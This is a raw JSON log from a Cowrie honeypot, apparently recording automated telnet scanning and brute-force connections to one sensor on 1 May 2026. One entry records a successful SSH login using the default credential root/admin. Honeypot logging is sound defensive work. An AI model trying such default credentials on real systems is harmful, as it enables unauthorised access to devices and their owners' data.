{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51558,"dst_ip":"159.203.135.109","dst_port":23,"session":"069549f8d9b7","protocol":"telnet","message":"New connection: 51.15.157.40:51558 (159.203.135.109:23) [session: 069549f8d9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.444423Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":37648,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b9f443b1aa","protocol":"telnet","message":"New connection: 104.236.196.85:37648 (159.203.135.109:23) [session: 09b9f443b1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.755185Z"}
{"eventid":"cowrie.session.closed","duration":31.362589836120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.947802Z","src_ip":"34.69.118.1","session":"f59ca5230411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828977584838867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.972467Z","src_ip":"62.171.133.168","session":"63d58d2490f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":51052,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd01b6c6f411","protocol":"telnet","message":"New connection: 34.69.118.1:51052 (159.203.135.109:23) [session: dd01b6c6f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.991230Z"}
{"eventid":"cowrie.session.closed","duration":31.097536325454712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.995881Z","src_ip":"62.171.133.168","session":"2c38f6f49346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614608764648438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.091279Z","src_ip":"51.15.157.40","session":"31619826351d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.537967681884766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.170083Z","src_ip":"157.15.20.138","session":"d5d29617c89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591842889785767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.199036Z","src_ip":"51.15.157.40","session":"6656f7c06554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":38934,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6b3321e958","protocol":"telnet","message":"New connection: 89.39.83.70:38934 (159.203.135.109:23) [session: ab6b3321e958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.273319Z"}
{"eventid":"cowrie.session.closed","duration":30.355945587158203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.282183Z","src_ip":"103.171.45.122","session":"4402c49361b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54684,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ff15262549","protocol":"telnet","message":"New connection: 103.171.45.122:54684 (159.203.135.109:23) [session: 97ff15262549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.325789Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54696,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdb1329eab4","protocol":"telnet","message":"New connection: 103.171.45.122:54696 (159.203.135.109:23) [session: 0cdb1329eab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.409502Z"}
{"eventid":"cowrie.session.closed","duration":31.176758766174316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.483211Z","src_ip":"51.15.157.40","session":"a87d354d366b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46684,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1bc8856ddc","protocol":"telnet","message":"New connection: 157.15.20.138:46684 (159.203.135.109:23) [session: ec1bc8856ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.775028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a361695861","protocol":"telnet","message":"New connection: 51.15.157.40:52804 (159.203.135.109:23) [session: e8a361695861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:37.839267Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":59882,"dst_ip":"159.203.135.109","dst_port":23,"session":"22ccafe873cf","protocol":"telnet","message":"New connection: 34.69.118.1:59882 (159.203.135.109:23) [session: 22ccafe873cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.001927Z"}
{"eventid":"cowrie.session.closed","duration":31.609018087387085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.009058Z","src_ip":"51.15.157.40","session":"e63ba1639e61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28779363632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.040986Z","src_ip":"51.15.157.40","session":"6862495ad4a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045418977737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.132604Z","src_ip":"51.15.157.40","session":"012696722f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56336,"dst_ip":"159.203.135.109","dst_port":23,"session":"072cdaf27fa6","protocol":"telnet","message":"New connection: 51.15.157.40:56336 (159.203.135.109:23) [session: 072cdaf27fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.156393Z"}
{"eventid":"cowrie.session.closed","duration":30.821890354156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.178748Z","src_ip":"51.15.157.40","session":"6ec8f77b88de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":37662,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c4977a20a0","protocol":"telnet","message":"New connection: 104.236.196.85:37662 (159.203.135.109:23) [session: b4c4977a20a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.648828Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46686,"dst_ip":"159.203.135.109","dst_port":23,"session":"c597a7c87871","protocol":"telnet","message":"New connection: 157.15.20.138:46686 (159.203.135.109:23) [session: c597a7c87871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:38.663278Z"}
{"eventid":"cowrie.session.closed","duration":30.83884620666504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.083800Z","src_ip":"51.15.157.40","session":"d8e29dd3b4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.700801610946655,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.229798Z","src_ip":"34.69.118.1","session":"45d232976d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002487182617188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.469074Z","src_ip":"157.15.20.138","session":"e61a2f9ea3b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46690,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b6fe6f80fa","protocol":"telnet","message":"New connection: 157.15.20.138:46690 (159.203.135.109:23) [session: a9b6fe6f80fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.658156Z"}
{"eventid":"cowrie.session.closed","duration":32.57687735557556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.684067Z","src_ip":"34.69.118.1","session":"e1ff8474e034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33736,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74823daa1b6","protocol":"telnet","message":"New connection: 51.15.157.40:33736 (159.203.135.109:23) [session: a74823daa1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:39.991668Z"}
{"eventid":"cowrie.session.closed","duration":30.749118089675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:40.059134Z","src_ip":"51.15.157.40","session":"88610d7557b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351335525512695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:40.323761Z","src_ip":"51.15.157.40","session":"06583fc43443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f562d2f1135f","protocol":"telnet","message":"New connection: 103.171.45.122:54700 (159.203.135.109:23) [session: f562d2f1135f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:40.420411Z"}
{"eventid":"cowrie.session.closed","duration":31.02962827682495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:41.211602Z","src_ip":"51.15.157.40","session":"5d507ff6fd57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183260679244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:41.236028Z","src_ip":"157.15.20.138","session":"bb50130e1947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":46698,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e2dc8aa57a","protocol":"telnet","message":"New connection: 157.15.20.138:46698 (159.203.135.109:23) [session: 10e2dc8aa57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:41.343058Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"84cbfecd780a","protocol":"telnet","message":"New connection: 103.171.45.122:54704 (159.203.135.109:23) [session: 84cbfecd780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:41.928179Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"8421db97d6f1","protocol":"telnet","message":"New connection: 51.15.157.40:37522 (159.203.135.109:23) [session: 8421db97d6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:42.288110Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42246,"dst_ip":"159.203.135.109","dst_port":23,"session":"94974512cd31","protocol":"telnet","message":"New connection: 51.15.157.40:42246 (159.203.135.109:23) [session: 94974512cd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:42.673668Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54716,"dst_ip":"159.203.135.109","dst_port":23,"session":"604b38239e24","protocol":"telnet","message":"New connection: 103.171.45.122:54716 (159.203.135.109:23) [session: 604b38239e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:42.883267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54724,"dst_ip":"159.203.135.109","dst_port":23,"session":"e476cb291f8a","protocol":"telnet","message":"New connection: 103.171.45.122:54724 (159.203.135.109:23) [session: e476cb291f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:43.166938Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":59884,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d557042228a","protocol":"telnet","message":"New connection: 34.69.118.1:59884 (159.203.135.109:23) [session: 6d557042228a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:43.232258Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44202,"dst_ip":"159.203.135.109","dst_port":23,"session":"24bddef0f785","protocol":"telnet","message":"New connection: 51.15.157.40:44202 (159.203.135.109:23) [session: 24bddef0f785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:43.394996Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44572,"dst_ip":"159.203.135.109","dst_port":23,"session":"21aea00597dc","protocol":"telnet","message":"New connection: 51.15.157.40:44572 (159.203.135.109:23) [session: 21aea00597dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:43.519394Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44924,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2560b31f1d6","protocol":"telnet","message":"New connection: 51.15.157.40:44924 (159.203.135.109:23) [session: f2560b31f1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:43.634294Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46032,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ec68739c2e6","protocol":"telnet","message":"New connection: 51.15.157.40:46032 (159.203.135.109:23) [session: 0ec68739c2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.022739Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"36c6acd8924f","protocol":"telnet","message":"New connection: 108.61.224.215:38870 (159.203.135.109:23) [session: 36c6acd8924f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.048643Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c2e3af9b133","protocol":"telnet","message":"New connection: 51.15.157.40:46786 (159.203.135.109:23) [session: 1c2e3af9b133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.316283Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":37676,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6a5b97f674a","protocol":"telnet","message":"New connection: 104.236.196.85:37676 (159.203.135.109:23) [session: f6a5b97f674a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.370325Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44252,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff309b64b5ff","protocol":"telnet","message":"New connection: 51.15.157.40:44252 (159.203.135.109:23) [session: ff309b64b5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.409013Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47262,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7504edc3d99","protocol":"telnet","message":"New connection: 51.15.157.40:47262 (159.203.135.109:23) [session: c7504edc3d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.450963Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea080c421824","protocol":"telnet","message":"New connection: 51.15.157.40:47622 (159.203.135.109:23) [session: ea080c421824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.562449Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47712,"dst_ip":"159.203.135.109","dst_port":23,"session":"33dc9562e610","protocol":"telnet","message":"New connection: 51.15.157.40:47712 (159.203.135.109:23) [session: 33dc9562e610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.595193Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48004,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c9b53fcbbe","protocol":"telnet","message":"New connection: 51.15.157.40:48004 (159.203.135.109:23) [session: 83c9b53fcbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.735365Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9525e8eb5b63","protocol":"telnet","message":"New connection: 51.15.157.40:48312 (159.203.135.109:23) [session: 9525e8eb5b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:44.907676Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48594,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf542c57deef","protocol":"telnet","message":"New connection: 51.15.157.40:48594 (159.203.135.109:23) [session: bf542c57deef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.042265Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":48190,"dst_ip":"159.203.135.109","dst_port":23,"session":"526ae2c1d0a6","protocol":"telnet","message":"New connection: 89.39.83.70:48190 (159.203.135.109:23) [session: 526ae2c1d0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.080494Z"}
{"eventid":"cowrie.session.closed","duration":30.20585298538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.086621Z","src_ip":"51.15.157.40","session":"a7e131948dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101073026657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.139516Z","src_ip":"157.15.20.138","session":"280e42409552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49200,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c588350e65","protocol":"telnet","message":"New connection: 51.15.157.40:49200 (159.203.135.109:23) [session: c3c588350e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.294855Z"}
{"eventid":"cowrie.session.closed","duration":31.07788896560669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.395402Z","src_ip":"103.171.45.122","session":"1c5ad01568e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51192,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cf2b9961685","protocol":"telnet","message":"New connection: 51.15.157.40:51192 (159.203.135.109:23) [session: 6cf2b9961685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:45.907719Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dac9c0be6ad","protocol":"telnet","message":"New connection: 51.15.157.40:43150 (159.203.135.109:23) [session: 7dac9c0be6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.013050Z"}
{"eventid":"cowrie.session.closed","duration":30.900110006332397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.188692Z","src_ip":"157.15.20.138","session":"695c264f47da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52926,"dst_ip":"159.203.135.109","dst_port":23,"session":"9603c311ce9a","protocol":"telnet","message":"New connection: 51.15.157.40:52926 (159.203.135.109:23) [session: 9603c311ce9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.448058Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.475963Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":36988,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d4b006d74d","protocol":"telnet","message":"New connection: 103.171.45.122:36988 (159.203.135.109:23) [session: 35d4b006d74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.486764Z"}
{"eventid":"cowrie.session.closed","duration":31.3479642868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:46.941869Z","src_ip":"51.15.157.40","session":"c1008729edeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":54472,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd68c1cb6dfa","protocol":"telnet","message":"New connection: 104.236.196.85:54472 (159.203.135.109:23) [session: fd68c1cb6dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.234999Z"}
{"eventid":"cowrie.session.closed","duration":31.225543975830078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.272700Z","src_ip":"104.236.196.85","session":"71b3af9cb034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18643856048584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.310473Z","src_ip":"104.236.196.85","session":"f67d745b9281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60942,"dst_ip":"159.203.135.109","dst_port":23,"session":"1275efc04c65","protocol":"telnet","message":"New connection: 34.69.118.1:60942 (159.203.135.109:23) [session: 1275efc04c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.458231Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":51414,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ec62bb6990","protocol":"telnet","message":"New connection: 62.171.133.168:51414 (159.203.135.109:23) [session: c4ec62bb6990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.480977Z"}
{"eventid":"cowrie.session.closed","duration":30.647757053375244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.492270Z","src_ip":"157.15.20.138","session":"7fa5785f8d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46741485595703,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.637033Z","src_ip":"34.69.118.1","session":"ac7c64bee35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12438440322876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.678819Z","src_ip":"51.15.157.40","session":"d198156c569c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48032,"dst_ip":"159.203.135.109","dst_port":23,"session":"710738923faa","protocol":"telnet","message":"New connection: 51.15.157.40:48032 (159.203.135.109:23) [session: 710738923faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:47.758792Z"}
{"eventid":"cowrie.session.closed","duration":30.95312476158142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.086021Z","src_ip":"104.236.196.85","session":"c757184fbfb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026954650878906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.110094Z","src_ip":"104.236.196.85","session":"de81f7ff7a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026865243911743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:48.113767Z","src_ip":"104.236.196.85","session":"c2179ea814e7","protocol":"telnet"}
